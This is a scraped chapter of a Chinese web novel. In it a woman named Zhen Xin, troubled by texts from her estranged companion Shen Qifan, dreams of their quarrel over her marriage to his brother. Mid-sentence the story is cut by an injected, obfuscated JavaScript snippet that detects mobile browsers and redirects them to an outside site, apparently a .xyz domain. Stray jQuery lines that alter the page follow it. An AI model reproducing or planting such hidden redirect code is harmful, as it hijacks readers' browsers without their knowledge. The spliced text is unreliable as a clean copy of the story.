25. 梦魇
作品:《卑劣的我》 入夜。
甄辛翻来覆去地躺在客房的床上。
手机上的消息叮咚叮咚响个不停。
震走她本就不浓郁的睡意。
甄辛挣扎一番,伸手捞起另一侧枕头下压着的翻盖手机。
屏幕上弹出的短信消息眨眼间就刷新一次,归属的号码不可谓不眼熟。
毕竟,今天上午她才把这号码从黑名单里移除。
没开灯的房间。
甄辛眯着眼盯向屏幕,灰色的气泡密密麻麻一下滑不到顶。
一两行的文字内容大面积重复,八点左右先是告知自己,他到家了。
再过十几分钟,又发来一张图片。
硕大的鸡腿被平铺开,撒着鲜红的辣椒面与翠绿的葱花。
甄辛磨了磨牙,她本不想回复的,可沈祈凡总是贱得彻底,让人无法心平气和地忽视。
她言简意赅回了个滚。
屏幕那一头的号码顺杆直上,“还没睡?”
这不可谓不是倒打一耙。
要不是他发来的消息叮叮当当响个不停,甄辛也不至于凌晨十二点还觑向手机。
早知道她就把手机关掉,又或者调成静音了,总好过肆无忌惮地被沈祈凡骚扰。
问她在干什么?
睡在哪个房间?
和沈祈安关系如何?
……
一气之下,甄辛又想要把这号码加入黑名单。
可能她实在是笨,想了一整晚也想不到沈祈凡到底想要做什么。
说要与自己合作的是他,反戈一击的也是他,现在装成没事人一样逗弄自己的还是他。
她不是玩具,更不是让沈祈凡解闷的乐子。
甄辛向来讨厌这种低人一等的,不具备丝毫人格的捉弄。
沈祈凡不是不知道。
甚至往前数好几年,在他俩没有闹掰之前,沈祈凡还帮她抵挡、拒绝、报复过那些不怀好意的轻视。
这也是她为什么始终,都没有下定决心与沈祈凡断绝联系的主要原因。
既讨厌他,嫉妒他,又藕断丝连的需要他。
甄辛倒也从没觉得她这是在利用。
尽管卑劣的嫉妒覆盖了,她的一部分情绪,迫使她要远离冷淡对方。
但不得不承认,他是弟弟,是同伴。
打断骨头连着筋。
一贫如洗的日子里,争吵过后的和好,他们必须还要紧紧地依偎在一起。
要像家人,要像战友,偶尔也要像男女朋友。
这样,她才不至于被惦记被人吃的连渣都不剩。这是甄辛离开学校被骚扰过数次,才逐渐摸索总结出的道理。
所以,为什么不能像之前那样呢?
为什么沈祈凡就不能像之前一样,老老实实地听着她的指令?
她让向东,他就向东。让他往西,他就往西,像条时刻准备着为她冲锋陷阵又一往无前的狗。
为什么要变?
为什么要变。
就因为自己准备和沈祈安结婚,没有第一时间告诉他吗?
他就要报复自己至此,要把自己耍得团团转?
哪儿有这样的道理?
怎么能小气成这样!
甄辛真的搞不懂。
她昏昏沉沉地睡去,脑子里浑浑噩噩地涌现出数年来,她和沈祈凡纠缠不清的画面。
梦到沈祈凡小时候总追在她屁股后面喊她姐姐;梦到沈祈凡去她养父养母家门口抱着她痛哭;梦到沈祈凡替自己出头脸颊被人打出了淤青,还笑着安慰她说没事,以后那个人不会再骚扰她了……
又梦到沈祈凡红着眼眶,撕掉她递来的结婚请柬,雪花般扬起洋洋洒洒的纸屑扔了她满身。
“……”
画面太真实。
一度让甄辛分不清,这到底是她在做清醒梦,还是大脑在同她回忆。
半梦半醒间,有黑影靠近过来。睡不好的夜,甄辛总会做类似的梦。
她查过学名好像叫什么睡眠瘫痪,也就是俗称的鬼压床。
会迷迷糊糊地瞧见大概的轮廓,身体和脑袋却怎么也清醒不过来,还沉浸恍恍惚惚的梦里。
沈祈凡眼尾泛红,声音沙哑,态度第一次变得强硬,他质问起来:“你喜欢他?”
“你要和他结婚?”
“那我呢?”
“你不要我了?”
“你难道不知道我——”
甄辛回答
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15449710|169009||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的话哽在齿间,沈祈凡在她面前太过百依百顺,一时让甄辛难以理解他的失控,以至于对他感到陌生起来。
她打断沈祈凡的话,“这和你又有什么关系?”
结婚不是两个人的事吗?她已经够烦的了,沈祈凡又不是当事人,只不过是自己的小弟罢了,他为什么表现得这么激烈?
话里话外的责怪,就好像自己对不起他似的。
他吃自己的,用自己的,有什么资格这样说她?
理所当然的,他俩大吵了一架。
沈祈凡扯了扯嘴角,想笑却露出一个比哭还难看的表情,“和我没关系?”
他那双总是弯着的桃花眼蒙了层灰,彻底黯淡下来,声音低得几乎听不见:“是没关系。”
“甄辛——”
梦里的画面频频闪回,再听不到沈祈凡说了什么,只看得清他转过身。
千斤压顶似的,肩膀承受不住地微微颤抖起来,他失魂落魄地往门口走去。
甄辛张了张嘴,不知道为什么,她明明吵赢了对方,却也觉得难受。
心脏空落落的,仿佛被人挖去了一块儿。
“沈祈凡。”
时隔三年,甄辛终于出声在梦里喊住了他。
她想大骂对方王八蛋,现实里给自己添堵不止,梦里竟然也要折磨自己?不就是和他吵了一架,结婚之前没有提前通知他吗?
他们俩又不是没吵过架,说要老死不相往来的也不在少数,为什么…为什么……
这次真的一刀两断了呢?
只是不等她说完下句话,浓烈的冷香裹了过来,那因她唤声而蓦地停住脚步的黑影,忽然冷冷地嗤了一声。
“沈祈凡?”他短促地叹息着,修长的手指已摸上了甄辛黏着发丝的脸颊,轻蹭过甄辛因梦魇而汗湿的鬓角。
模糊一团的影,俯下身来,用冷淡的薄唇贴着甄辛的耳垂呢喃,“你怎么就忘不掉他呢?”
呼吸拂过甄辛耳际,激起细细密密的战栗,男人的嘴唇很凉,吐出的呼吸却烫得惊人。
“和你结婚的明明是我呀。”
“要喊也要喊我的名字才对。”
“今天上午不是你亲口说,我们是最恩爱的夫妻吗?”